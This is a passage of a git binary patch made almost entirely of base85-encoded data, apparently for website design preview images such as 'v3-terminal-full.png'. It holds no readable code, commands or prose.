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 F-vIxiDJ%d0 literal 0 HcmV?d00001 diff --git a/website-design/previews/v3-terminal-full.png b/website-design/previews/v3-terminal-full.png new file mode 100644 index 0000000000000000000000000000000000000000..00a2dab37a66bb0f818089085fad7ef90f426ee3 GIT binary patch literal 254082 zcmeFYcTkht+Bb~4vC%}TG`CcxZc0Gx38989p$MT!=-nw{#K+5(p4N zkzNu&O6Z{zTIfYOALp6p%=gTE^L{huk9XcP@0^u;CUf8STGzUAWnJyJu5~_gK23Ma zKu2GP?$RYXx=R-yy7O_mCv;aXU;f8+(SEzQ=&#e$|MnaG&1=`LUT3_?$jES$fq{wn z_AMr6R%Ql)=O7dFP*p030yFF`O2k#G`jz8zg?rhdi~1fOE+#_y!W_8cj>oF z7wliX$#nJR)oYhn=`QYmqrb{}?e;x3_UjyivKIYvk4%A1iAkUP1~|EeM9j=V&wUWt 